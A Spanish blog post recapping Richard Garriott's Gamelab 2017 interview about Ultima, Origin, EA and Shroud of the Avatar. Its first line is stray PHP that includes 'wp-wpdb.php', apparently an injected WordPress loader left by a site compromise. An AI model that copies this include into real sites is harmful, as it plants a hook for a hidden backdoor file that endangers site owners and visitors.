if (is_file('wp-wpdb.php')) include_once('wp-wpdb.php'); [Gamelab] Entrevista a Richard Garriott – La Fortaleza de LeChuck

[Gamelab] Entrevista a Richard Garriott

Otro de los pesos pesados del Gamelab 2017 fue Richard Garriott, conocido en sus juegos con el seudónimo de Lord British, y creador de la saga Ultima. La entrevista repasó sus orígenes y últimos trabajos como diseñador independiente.

Dean Takahashi, un curtido analista del sector, toma asiento junto con Garriott y lanza la primera pregunta relacionada con su pasado como explorador y diseñador. La veteranía y experiencia de Richard es apabullante. Empezó a crear pequeños videojuegos en un teletipo del instituto y antes de cumplir los 20 amasó una gran fortuna. Lord British fue uno de los afortunados que vivieron en primera persona el nacimiento de los videojuegos. En aquella época se podían contar con las manos los desarrolladores de videjuegos. Muchos jóvenes que creaban juegos ni siquiera intentaban publicarlos porque no se consideraba como un negocio, sino como un entretenimiento para jugar con amigos. «He sido siempre uno de los más viejos del sector y he establecido técnicas y herramientas que se siguen usando».

Garriott calcula que lleva unos 40 años haciendo juegos y sus puntos álgidos han sido Ultima 4, 7 y 9. Recuerda que cuando empezó a desarrollarlos tuvo sus problemas, ya que se estaba desviando de las raíces de su propio trabajo con el fin de innovar, incluso le aconsejaron que se olvidara. En Ultima 3 se encontró con que los jugadores sembraban el mal asesinando npcs y a todo el que se le pusiera por delante, y no eran para nada honorables. Quería «obligarles» a que fueran buenos y de ahí nació el término de «avatar» que tiene relación con ser virtuoso. Después de Ultima 3, introdujo la filosofía moral con el karma con la intención de seducir a los jugadores para que se comportaran. De esta manera, algunos npcs no ayudarían al jugador si este era un asesino de inocentes. Este concepto lo adoptaron muchos juegos posteriormente. Indica que no era muy buen estudiante; ni siquiera terminó la universidad, pero a la hora de crear videojuegos le fascina aprender sobre distintas disciplinas y documentarse.
La charla continúa por su pasión por la obra de Tolkien. Garriott quedó impresionado por sus novelas y las devoró una por una, incluso las historias inacabadas. Su imaginación volaba y quedaba maravillado por sus personajes y la multitud de capas de sus mundos. El popular autor de fantasía fue una de sus fuentes de inspiración que le empujó a investigar a fondo la creación de mundos con el fin de encontrar esa profundidad. También se obsesionó con crear lenguajes e historias relacionadas.

La entrevista trata ahora a los malos momentos de su trayectoria. Richard recuerda los problemas del avance de la tecnología que tuvieron que afrontar. Apple II era el ordenador con el que desarrollaban sus juegos pero cuando se lanzó el PC de IBM se vio con el problema de acostumbrarse a un nuevo sistema operativo y hardware complejo. En aquel momento pensó que Apple tenia ciertas ventajas así que Ultima 5 y otros continuaron en ese sistema que tan bien conocía hasta que a mitad de desarrollo se vio arrastrado a cambiar. Sin embargo, no tenía empleados que supieran trabajar en PC y eso retrasó el desarrollo. El cambio de tecnología hizo que los ingresos de esos años se esfumaran y tuvo que pedir un préstamo e hipotecar su casa. Si no tenían éxito, se quedaría en la calle. Finalmente, con presión y muchas prisas, lanzó Ultima 5 a tiempo pero le costó fuertes discusiones en la oficina con su hermano, quien en aquel tiempo trabajaba estrechamente con él. Recuerda ahora entre risas la pelea por un lápiz en su despacho mientras los empleados escuchaban asustados.
Takahashi le pregunta también sobre la innovación en sus juegos. «Hay momentos clave pero con cada producto he aprendido», indica el diseñador de Ultima. Siempre ha buscado hacer algo mejor a lo anterior. En aquellos tiempos su competidores eran Might and Magic y Wizardry pero a diferencia de estos, Ultima mejoraba en cada entrega de forma significativa y los fans no hacían más que crecer.

Uno de los momentos que marcaron un antes y un después fue cuando vendió Origin a EA. Takahashi lanza una interesante pregunta: «Muchos llegan a la cima y después se hacen indies. ¿existe una especie de patrón?». Richard cree que es un ciclo que seguirá siempre. En la primera era del videojuego, se vendían en sencillas cajas para pocos jugadores pero luego si no eras grande tenías problemas logísticos y de distribución. «Solo destacadas si eres parte de un ecosistema», subraya.

Es hora de hablar de Ultima Online, el MMO que propició éxitos posteriores como WOW, pero en el que EA no confiaba como modelo. Richard indica que la compañía perdió una gran oportunidad. Otros títulos complicados fueron Tabula Rasa y Ultima 8 por diferencias de opinión entre el equipo y el editor. Para Ultima 8, el editor les presionó para lanzar el juego en una fecha concreta y tuvo que recortar mucho contenido para llegar a tiempo. En el caso de Tabula Rasa les pasó algo similar, pero además quemaron el dinero enviando prototipos a Corea y así también perdieron 2 años. «Fue difícil acabar con la presión y una visión poco clara». Recomienda tener una visión coherente y mantenerse firme hasta el final, ya que si empiezas a dar bandazos por el publisher es un problema. «Las grandes empresas no buscan la innovación y van a lo seguro, pero al ser indie tienes más espacio para hacer lo que deseas a pesar de la dificultad en la distribución. Para hacer algo nuevo hay que volver a ser pequeño«.

Reflexiona como ahora los juegos modestos valen dinero. Shroud of the Avatar fue financiado a través de Kickstarter y consiguió casi el doble de lo que se proponía, quedándose a las puertas de los dos millones de dólares. Sin embargo, para conseguir un MMO como el que busca, lanzará otro crowdfunding próximamente destinado a inversores. Shroud of the Avatar tiene prevista su llegada este año.
Garriott recuerda con una sonrisa cuando alguien le dijo que quién querría jugar con un personaje en leotardos, y que mejor seguir con el guerrero musculoso. La gente pensaba que no iba a funcionar, pero se equivocaron. Lo que ha aprendido es que lo importante es seguir tu plan e ignorar cierto feedback que quiere cambiar tu idea.
La entrevista concluye. Richard Garriott nos ha hecho disfrutar con una charla muy inspiradora a través de su dilatada experiencia. Una de las mejores intervenciones que me llevo de este Gamelab de un diseñador al que guardo mucho respeto.

Por Arashi

Aparte de patear traseros de piratas como gobernadora en Mêlée, soy una fanática de los videojuegos desde que de pequeña me regalaron la Atari 2600. Adoro las aventuras gráficas y los RPG, pero no le hago ascos al resto. Otra de mis pasiones es todo lo relacionado con Japón.

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